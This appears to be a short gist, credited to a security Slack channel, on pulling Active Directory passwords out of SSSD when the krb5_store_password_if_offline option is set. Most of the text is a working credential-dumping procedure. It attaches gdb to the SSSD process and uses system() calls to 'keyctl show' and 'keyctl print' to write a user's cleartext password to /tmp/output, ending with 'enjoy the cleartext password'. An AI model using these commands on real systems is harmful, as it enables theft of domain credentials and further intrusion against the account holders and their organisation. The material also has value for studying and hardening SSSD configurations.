Created
October 6, 2020 14:53
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Retrieving SSSD plain text passwords (krb5_store_password_if_offline)
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for who ever this interest, if you enable krb5_store_password_if_offline in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring | |
to dump the clear text password you can do : | |
``` | |
gdb -p <PID_OF_SSSD> | |
call system("keyctl show > /tmp/output") | |
``` | |
From the /tmp/output locate the key_id for the user you want | |
Example of an output is : | |
Session Keyring | |
204928979 --alswrv 0 0 keyring: _ses | |
471547288 --alswrv 0 0 \_ user: [email protected] | |
now again in GDB do the following : | |
``` | |
call system("keyctl print 471547288 > /tmp/output") # or whatever key_id from the past output | |
``` | |
enjoy the cleartext password in /tmp/output :) |
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Credit to @shelld0n and @leftp for the original paper. From the BloodHoundGang Slack on 2020-10-06.